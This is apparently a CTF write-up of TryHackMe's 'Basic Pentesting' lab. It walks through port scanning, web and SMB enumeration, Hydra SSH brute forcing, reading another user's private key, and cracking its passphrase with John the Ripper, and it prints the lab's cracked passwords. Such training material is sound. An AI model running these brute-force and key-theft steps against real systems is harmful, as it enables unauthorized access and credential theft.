# Basic Pentesting

03.07.2024

Prepared by: Jason Siu

Machine Author: ashu

Difficulty: Easy

## Synopsis

"Basic Pentesting" is a beginner friendly CTF on TryHackMe, offering an entry-level challenge for aspiring penetration testers. It begins with a port scan and by exploring the website hosted on the target IP, participants discover a hint to visit the development page for tools. Using Gobuster with a wordlist, two text files containing user information are found. Further enumeration via SMB login or enum4linux exposes additional user details, leading to the identification of a weak password for the user "jan." With Hydra, this weak password is exploited to gain SSH access. Once inside, we can read another user's SSH key for lateral movement. We then use johntheripper to get login credentials to take over the machine.

## Skills required:

- Web Enumeration
- Linux Fundamentals

# Skills learned:

- Cracking password hashes with an RSA key
- SSH abuse through misconfiguration
- SMB enumeration

# Enumeration

# nmap

We will start off with an nmap scan.

```
ip=10.10.122.177
```

```
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
```

```
nmap -p$ports -sV $ip
```

Doing this will reveal the outputs:

```
┌──(jason㉿kali)-[~]
└─$ nmap -p$ports -sV 10.10.122.177
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 00:00 CST
Nmap scan report for 10.10.122.177
Host is up (0.23s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat 9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds
```

Nmap scan shows SSH running on port 22, HTTP on port 80, and SMB on ports 139 and 445, as well as 2 Apache services.

# HTTP

Going to the HTTP server first, we find this:


And looking at the source, we can find a small hint:

```
1  <html>
2
3  <h1>Undergoing maintenance</h1>
4
5  <h4>Please check back later</h4>
6
7  <!-- Check our dev note section if you need to know what to work on. -->
8
9
10 </html>
11
```

So with that hint, we can run gobuster to enumerate the web pages to see if we find anything.

```
gobuster dir -u 10.10.20.92 -w wl/dirb/common.txt -t 70
```

With that command, we found the ‘development’ page

```
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 295]
/.hta                 (Status: 403) [Size: 290]
/development          (Status: 301) [Size: 316] [--> http://10.10.20.92/development/]
/index.html           (Status: 200) [Size: 158]
/server-status        (Status: 403) [Size: 299]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
```

Visiting the /development page, we can see this:

# Index of /development

| Name | Last modified | Size | Description |
|---|---|---|---|
| Parent Directory | | - | |
| dev.txt | 2018-04-23 14:52 | 483 | |
| j.txt | 2018-04-23 13:10 | 235 | |

*Apache/2.4.18 (Ubuntu) Server at 10.10.20.92 Port 80*

Looking at the dev.txt file, it indicates users ‘K’ and ‘J’

```
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

Looking at j.txt, indicating that user 'J' has a weak password that we can possible brute force:

```
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K
```

# SMB (Ports 139 & 445)

Since we have the SMB ports open, we can scan it using enum4linux, a tool used to get information about the server, which includes users into the SSH.

`enum4linux $ip`

We find a couple of things, first that we can attempt to logon with anonymous

```
[+] Attempting to map shares on 10.10.20.92

//10.10.20.92/Anonymous Mapping: OK Listing: OK Writing: N/A
```

Going to anonymous, we can login to the smb port doing:

`smbclient //$ip/anonymous`

```
┌──(jason㉿kali)-[~]
└─$ smbclient //10.10.20.92/anonymous
Password for [WORKGROUP\jason]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018

                14318640 blocks of size 1024. 11094500 blocks available
smb: \> cat staff.txt
cat: command not found
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
```

And reveals a staff.txt file, lets see what that is (we use 'get staff.txt')

```
┌──(jason㉿kali)-[~]
└─$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
```

It then reveals the users “Jan” and “Kay”.

- Which meant that the “J” stood for Jan and “K” stood for Kay

And because we know that Jan had a weak password, we can try brute forcing it using hydra.

In the enum4linux scan, we can also find the users and confirm they match:

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
^C
```

# SSH Bruteforce

And because we know that Jan has a weak password, we can try brute forcing it using hydra.

```
hydra -l Jan -P wl/rockyou.txt 10.10.20.92 ssh
```

And so after a while we run it, we get Jan’s credentials with password armando:

```
└─$ hydra -l jan -P wl/rockyou.txt 10.10.20.92 ssh -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-08 03:36:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended
[WARNING] Restorefile (ignored ... ) from a previous session found, to prevent overwriti
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:1434439
[DATA] attacking ssh://10.10.20.92:22/
[STATUS] 161.00 tries/min, 161 tries in 00:01h, 14344240 to do in 1484:55h, 14 active
[STATUS] 100.33 tries/min, 301 tries in 00:03h, 14344100 to do in 2382:45h, 14 active
[STATUS] 102.43 tries/min, 717 tries in 00:07h, 14343684 to do in 2333:56h, 14 active
[22][ssh] host: 10.10.20.92   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
```

# SSH

Logging into Jan's SSH using:

`ssh jan@10.10.20.92`

Doing sudo -l returns nothing, additionally searching for SUID commands does nothing either

`find / -user root -perm /4000 2>/dev/null`

Searching for crontabs doesn't work either, but we do know that there is another use Kay

So, going into Kay's folder we can see a 'pass.bak' file, which we aren't allowed to see. By doing

`ls -a`

We can view her hidden files, including .ssh directory

So going into the .ssh directory, we can find the id_rsa file, which contains the private key for Kay

And surprisingly, we can actually read it.

```
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
```

So, we can copy that onto our local computer and try logging in as Key. You can either use scp or just copy and pasting into a file, or hosting a python server and using wget. Make sure to change the permissions of id_rsa

```
chmod 600 id_rsa
```

Now we attempt to login as Kay

```
ssh kay@10.10.20.92 -i id_rsa
```

```
┌──(jason㉿kali)-[~/Downloads]
└─$ ssh kay@10.10.20.92 -i id_rsa
Enter passphrase for key 'id_rsa':
```

So it looks like there's a password associated with id_rsa, so let's use Johntheripper to crack the password. First, we need to convert it into a hash for johntheripper

```
ssh2john id_rsa > hash
```

Now we run it with john

```
john hash --wordlist=~/wl/rockyou.txt
```

Which then reveals the password “beeswax”

```
└─$ john hash --wordlist=~/wl/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loade
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
1g 0:00:00:00 DONE (2024-03-08 04:00) 2.777g/s 229866p/s 229866c/s 229866C
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now let’s attempt to login as Kay

```
ssh kay@10.10.20.92 -i id_rsa
```

And entering the password beeswax

```
└─$ ssh kay@10.10.20.92 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Now just we cat pass.bak and we are done!